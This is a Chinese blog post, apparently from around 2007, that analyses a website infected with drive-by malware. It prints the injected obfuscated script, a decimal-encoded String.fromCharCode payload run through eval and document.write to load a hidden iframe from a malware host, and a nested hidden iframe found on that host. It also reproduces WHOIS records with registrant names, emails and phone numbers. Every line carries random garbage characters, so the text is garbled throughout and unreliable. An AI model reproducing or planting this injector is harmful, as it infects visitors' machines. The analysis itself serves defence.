首发在我的博客里面，
@sly-2{e1 #LlHsY530N http://www.areway.cn/?p=175 X>mY`$!/
.op:
2y9] y@[}FgVOh 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
\^iPU 27H &?^S`V8R * <script>t=’60,105,102,114,97,109,101,
E
3b`GRay 32,115,114,99,61,104,116,116,112,58,47,47,
Y) Y`9u<? 102,114,101,101,46,117,45,117,117,117,46,99,
yc5C`r +6 110,47,101,114,114,111,114,46,104,116,109,
"Mgx5d 32,119,105,100,116,104,61,49,48,48,32,104,
:mLcb. E 101,105,103,104,116,61,48,62,60,47,105,102,
C=ni5R 114,97,109,101,62′;
ua1ov7w$] t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
BP2-LG&\ <va3L y)c& <script>t=’60,105,102,114,97,109,101,32,115,
I0 a,mO;m 114,99,61,104,116,116,112,58,47,47,102,114,
v8"plx=3 101,101,46,117,45,117,117,117,46,99,110,47,
\P]w^ 101,114,114,111,114,46,104,116,109,32,119,
Ev;HV}G 105,100,116,104,61,49,48,48,32,104,101,105,
}f )$+mi 103,104,116,61,48,62,60,47,105,102,114,97,
hoI?,[@F 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
$X_JUzb document.write(t);</script>
@-bX[}. _^Lv8a3(O <html xmlns=”
][- N< http://www.w3.org/1999/xhtml jC1mui| Y^ “>
h+Km | <head>
4g]Er<-P <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
?Y2ZqI <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
~vnG^ y>% <title>首页 - 爱生活家庭网
e2Sm.H ' t4pc2b 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
_n gyai1 转换字符串后的大概内容是（谁点击后果自付）：
?)x>GB(9ZN <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
!YL|R[nDH| ([zt}uf 查询玉米u-uuu.cn的详细信息：
DGr{x}Kq Domain Name: u-uuu.cn
\B"5 Kp< ROID: 20070901s10001s64972306-cn
Z<ozANbk Domain Status: ok
oK &LYlU Registrant Organization: 王雷
j <>|Hi
#` Registrant Name: 王雷
^,' )1r, Administrative Email:
czlovexs@126.com 24"Trg\WK[ Sponsoring Registrar: 北京万网志成科技有限公司
O[f* ! Name Server:ns.yovole.com
Ed ,`1+ Name Server:ns1.yovole.com
zu&5[XL Registration Date: 2007-09-01 17:54
(Da/$S. Expiration Date: 2008-09-01 17:54
/ <WB%O 最后PING了一下地址 都没有什么….
/ ]_T y0>asl 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
'M185wDdAl <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
7P O3{ I <script language=”javascript” src=”
6 lO]V=+ http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script VTySKY+ >
qEr2Y/:i" 这个玉米应该有可能是木马作者的：
r
H;@N foafau.info的详细信息：
q }e"E
cr Access to INFO WHOIS information is provided to assist persons in
1VK ?Svnd determining the contents of a domain name registration record in the
<qN0Q7 Afilias registry database. The data in this record is provided by
T!5m'Q. Afilias Limited for informational purposes only, and Afilias does not
9@
[R>C guarantee its accuracy. This service is intended only for query-based
Ql
a'vcT access. You agree that you will use this data only for lawful purposes
!Uz{dFJf; and that, under no circumstances will you use this data to: (a) allow,
3}=r.\]U enable, or otherwise support the transmission by e-mail, telephone, or
:S}!i?n facsimile of mass unsolicited, commercial advertising or solicitations
0 F-X.Dq to entities other than the data recipient’s own existing customers; or
1C\OL!@L (b) enable high volume, automated, electronic processes that send
D_
xPa queries or data to the systems of Registry Operator, a Registrar, or
lxy_O0n Afilias except as reasonably necessary to register domain names or
|t*(]U2O0 modify existing registrations. All rights reserved. Afilias reserves
;NH 5
L, the right to modify these terms at any time. By submitting this query,
9Y!N\-x` you agree to abide by this policy.
/
pzdX%7 Domain ID:D22418703-LRMS
84^ '^nd Domain Name:FOAFAU.INFO
cjt<&b* Created On:20-Nov-2007 16:05:42 UTC
\#.,@g Last Updated On:20-Nov-2007 16:05:44 UTC
x@I *(I Expiration Date:20-Nov-2008 16:05:42 UTC
<l]P
<N8^ Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
py.lGywb_ Status:CLIENT DELETE PROHIBITED
*LpEH,J Status:CLIENT RENEW PROHIBITED
CI"7* z_ Status:CLIENT TRANSFER PROHIBITED
;EbGW&T Status:CLIENT UPDATE PROHIBITED
3Yf&F([t Status:TRANSFER PROHIBITED
w2!G"oD Registrant ID:GODA-040110615
occ^bq Registrant Name:liu hong
T%~w~stW Registrant Organization:
I&~kwOP Registrant Street1:beijing
\Zz"%i Registrant Street2:
0 3fCn" Registrant Street3:
j_*$ Avy Registrant City:beijing
JP`$A Registrant State/Province:
_O)xE9t#ru Registrant Postal Code:100000
/!;oO_U:# Registrant Country:CN
1>P[3Y@} Registrant Phone:+86.860108888777
[
qt
hn[3 Registrant Phone Ext.:
O=UX e]D Registrant FAX:
ehk 5U,d Registrant FAX Ext.:
ntbl0Sk Registrant Email:bbbshiji@163.com
hc
OT+L>
Admin ID:GODA-240110615
L;zwqdI Admin Name:liu hong
H-A?F ^# Admin Organization:
|D+"+w/ Admin Street1:beijing
b" n8~Vd Admin Street2:
I
Y%M5(&Q Admin Street3:
n2&*5m&$ Admin City:beijing
W1'F)5(?7 Admin State/Province:
uKc x$ Admin Postal Code:100000
7S$Am84% Admin Country:CN
eqbQ,, & Admin Phone:+86.860108888777
0+MNu8 t Admin Phone Ext.:
\ MBbZB9@ Admin FAX:
2g5 i3C.q$ Admin FAX Ext.:
HA& 7
ybl Admin Email:bbbshiji@163.com
$U%M]_ Billing ID:GODA-340110615
Z- |.j^n Billing Name:liu hong
0Jz H dz Billing Organization:
Oxs O Billing Street1:beijing
}a?PB o` Billing Street2:
85CH%
I# Billing Street3:
li'h&!|] Billing City:beijing
~_opU(;f Billing State/Province:
aX`"V/ Billing Postal Code:100000
O O?e8OU Billing Country:CN
FsQeyh> Billing Phone:+86.860108888777
,5oe8\uz Billing Phone Ext.:
hhd%j6 Billing FAX:
' i5 VU4?K Billing FAX Ext.:
`)V1GR2
ES Billing Email:bbbshiji@163.com
-n&g**\w Tech ID:GODA-140110615
e$]` Tech Name:liu hong
K~'!JP8@ Tech Organization:
x|4m*>Ke
Tech Street1:beijing
0_'(w;!wq: Tech Street2:
`roos<F1D Tech Street3:
<
kyT{[e+6 Tech City:beijing
Zjq a n Tech State/Province:
)!6JSMS Tech Postal Code:100000
ro|mW P0 Tech Country:CN
-]""Jl^ Tech Phone:+86.860108888777
'%Og9Bgd+ Tech Phone Ext.:
MMlryn||1 Tech FAX:
kQ~2mU Tech FAX Ext.:
D
=&+]>g{T 
3 37y,; 
eC%uu 
= 5:L#` . 
z4t.- 9(C 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
